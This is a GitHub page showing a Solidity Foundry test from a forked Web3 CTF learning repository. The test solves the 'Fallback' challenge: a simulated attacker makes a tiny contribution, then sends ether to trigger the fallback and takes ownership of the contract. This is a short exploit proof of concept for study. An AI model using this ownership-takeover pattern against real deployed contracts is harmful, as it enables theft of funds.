forked from DeFiHackLabs/Web3-CTF-Intensive-CoLearning
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathFallback.t.sol
30 lines (23 loc) · 793 Bytes
/
Fallback.t.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import {Test, console} from "../lib/forge-std/src/Test.sol";
import {Fallback} from "../src/Fallback.sol";
contract FallbackTest is Test {
Fallback public target;
function setUp() public {
target = new Fallback();
}
function test_Fallback() public {
address attacker = makeAddr("attacker");
uint256 balance = 1 ether;
vm.deal(attacker, balance);
address ownerBefore = target.owner();
assert(ownerBefore != attacker);
// Attack
vm.startPrank(attacker);
target.contribute{value: 0.0001 ether}();
address(target).call{value: 0.0001 ether}("");
address ownerAfter = target.owner();
assertEq(ownerAfter, attacker);
}
}